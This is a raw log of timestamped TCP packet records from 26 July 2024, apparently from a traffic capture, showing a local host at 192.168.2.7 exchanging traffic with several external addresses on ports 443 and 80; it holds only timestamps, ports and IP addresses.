Jul 26, 2024 08:57:03.819945097 CEST	49704	443	192.168.2.7	52.165.165.26
Jul 26, 2024 08:57:03.819962025 CEST	443	49704	52.165.165.26	192.168.2.7
Jul 26, 2024 08:57:03.820277929 CEST	443	49704	52.165.165.26	192.168.2.7
Jul 26, 2024 08:57:03.826128960 CEST	49704	443	192.168.2.7	52.165.165.26
Jul 26, 2024 08:57:03.872499943 CEST	443	49704	52.165.165.26	192.168.2.7
Jul 26, 2024 08:57:04.072201014 CEST	443	49704	52.165.165.26	192.168.2.7
Jul 26, 2024 08:57:04.072271109 CEST	443	49704	52.165.165.26	192.168.2.7
Jul 26, 2024 08:57:04.072315931 CEST	443	49704	52.165.165.26	192.168.2.7
Jul 26, 2024 08:57:04.072514057 CEST	49704	443	192.168.2.7	52.165.165.26
Jul 26, 2024 08:57:04.072582006 CEST	443	49704	52.165.165.26	192.168.2.7
Jul 26, 2024 08:57:04.072678089 CEST	49704	443	192.168.2.7	52.165.165.26
Jul 26, 2024 08:57:04.073302031 CEST	443	49704	52.165.165.26	192.168.2.7
Jul 26, 2024 08:57:04.073370934 CEST	443	49704	52.165.165.26	192.168.2.7
Jul 26, 2024 08:57:04.073421001 CEST	49704	443	192.168.2.7	52.165.165.26
Jul 26, 2024 08:57:04.073440075 CEST	443	49704	52.165.165.26	192.168.2.7
Jul 26, 2024 08:57:04.073513031 CEST	49704	443	192.168.2.7	52.165.165.26
Jul 26, 2024 08:57:04.073833942 CEST	443	49704	52.165.165.26	192.168.2.7
Jul 26, 2024 08:57:04.073920012 CEST	49704	443	192.168.2.7	52.165.165.26
Jul 26, 2024 08:57:04.078761101 CEST	49704	443	192.168.2.7	52.165.165.26
Jul 26, 2024 08:57:04.078798056 CEST	443	49704	52.165.165.26	192.168.2.7
Jul 26, 2024 08:57:07.616148949 CEST	443	49700	104.98.116.138	192.168.2.7
Jul 26, 2024 08:57:07.616281033 CEST	49700	443	192.168.2.7	104.98.116.138
Jul 26, 2024 08:57:29.855180979 CEST	49705	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:29.860265970 CEST	80	49705	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:29.860336065 CEST	49705	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:29.860512972 CEST	49705	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:29.865391016 CEST	80	49705	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:30.632659912 CEST	80	49705	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:30.632772923 CEST	49705	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:30.635051966 CEST	49705	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:30.640292883 CEST	80	49705	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:30.894166946 CEST	80	49705	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:30.894232035 CEST	49705	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:30.899074078 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:30.904169083 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:30.906846046 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:30.906933069 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:30.912003040 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.692095995 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.692125082 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.692199945 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.692833900 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.692888975 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.692903042 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.692919016 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.692950964 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.692970991 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.693177938 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.693192959 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.693207026 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.693227053 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.693242073 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.693253040 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.693480015 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.693495989 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.693526983 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.693542957 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.697006941 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.697061062 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.697094917 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.697115898 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.788817883 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.788845062 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.788902044 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.788928032 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.853450060 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.853480101 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.853493929 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.853511095 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.853538990 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.853554010 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.853569031 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.853579998 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.853590965 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.853595018 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.853604078 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.853622913 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.853650093 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.856554031 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.856570005 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.856583118 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.856596947 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.856611013 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.856623888 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.856637955 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.856647968 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.856652975 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.856662989 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.856669903 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.856683969 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.856697083 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.856707096 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.856707096 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.856726885 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.867966890 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.868057013 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.930675030 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.930771112 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.930823088 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.930871964 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.931091070 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.931138039 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.991065979 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.991132975 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.991159916 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.991183996 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.991238117 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.991278887 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.991472006 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.991487026 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.991512060 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.991525888 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.991938114 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.991952896 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.991978884 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.991990089 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.992384911 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.992425919 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.992636919 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.992651939 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.992690086 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.992690086 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.993110895 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.993125916 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.993158102 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.993170977 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.993696928 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.993711948 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.993726969 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.993745089 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.993776083 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.994214058 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.994230032 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.994270086 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.994317055 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.994692087 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.994705915 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.994724035 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.994738102 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.994755030 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.994779110 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.995385885 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.995400906 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.995433092 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.995446920 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.995856047 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.995870113 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.995883942 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.995903969 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.995918989 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.996603012 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.996618986 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.996656895 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.996673107 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.997004032 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.997019053 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.997034073 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.997061968 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.997083902 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.997756958 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.997771978 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.997786045 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.997802019 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.997833014 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.998548985 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.998564005 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.998578072 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.998590946 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.998594046 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.998626947 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.998655081 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:31.999239922 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:31.999285936 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.025943995 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.025995016 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.026056051 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.026071072 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.026097059 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.026118040 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.026453018 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.026468039 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.026499987 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.026515007 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.026798010 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.026813030 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.026843071 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.026856899 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.027223110 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.027237892 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.027251959 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.027266026 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.027280092 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.027303934 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.173099041 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.173127890 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.173203945 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.173208952 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.173229933 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.173252106 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.173437119 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.173451900 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.173465967 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.173496008 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.173530102 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.174061060 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.174076080 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.174088955 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.174102068 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.174103975 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.174133062 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.174155951 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.174896002 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.174911022 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.174942017 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.174953938 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.175263882 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.175278902 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.175316095 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.175328016 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.175648928 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.175663948 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.175678015 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.175692081 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.175693989 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.175717115 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.175740004 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.176589012 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.176604033 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.176618099 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.176630974 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.176635981 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.176645994 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.176645994 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.176671028 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.176695108 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.177505970 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.177520037 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.177532911 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.177552938 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.177557945 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.177557945 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.177581072 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.177603006 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.178392887 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.178407907 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.178422928 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.178436041 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.178443909 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.178448915 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.178462982 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.178495884 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.179285049 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.179299116 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.179312944 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.179326057 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.179333925 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.179351091 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.179384947 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.180244923 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.180259943 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.180274010 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.180286884 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.180294037 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.180315018 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.180346012 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.181046009 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.181061983 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.181075096 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.181087971 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.181102037 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.181104898 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.181116104 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.181130886 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.181164980 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.181847095 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.181868076 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.181881905 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.181895971 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.181901932 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.181910038 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.181924105 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.181940079 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.181968927 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.182769060 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.182784081 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.182797909 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.182810068 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.182822943 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.182826996 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.182864904 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.183644056 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.183660030 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.183674097 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.183687925 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.183697939 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.183706999 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.183722973 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.183732986 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.183764935 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.184539080 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.184554100 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.184567928 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.184581995 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.184588909 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.184595108 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.184614897 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.184644938 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.268749952 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.268815994 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.268830061 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.268863916 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.268893957 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.269555092 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.269571066 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.269584894 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.269598007 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.269607067 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.269640923 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.270620108 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.270634890 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.270651102 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.270663977 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.270677090 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.270677090 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.270711899 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.270744085 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.271348953 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.271363020 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.271375895 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.271389008 CEST	80	49706	185.215.113.16	192.168.2.7
Jul 26, 2024 08:57:32.271395922 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.271420956 CEST	49706	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:57:32.271456957 CEST	49706	80	192.168.2.7	185.215.113.16
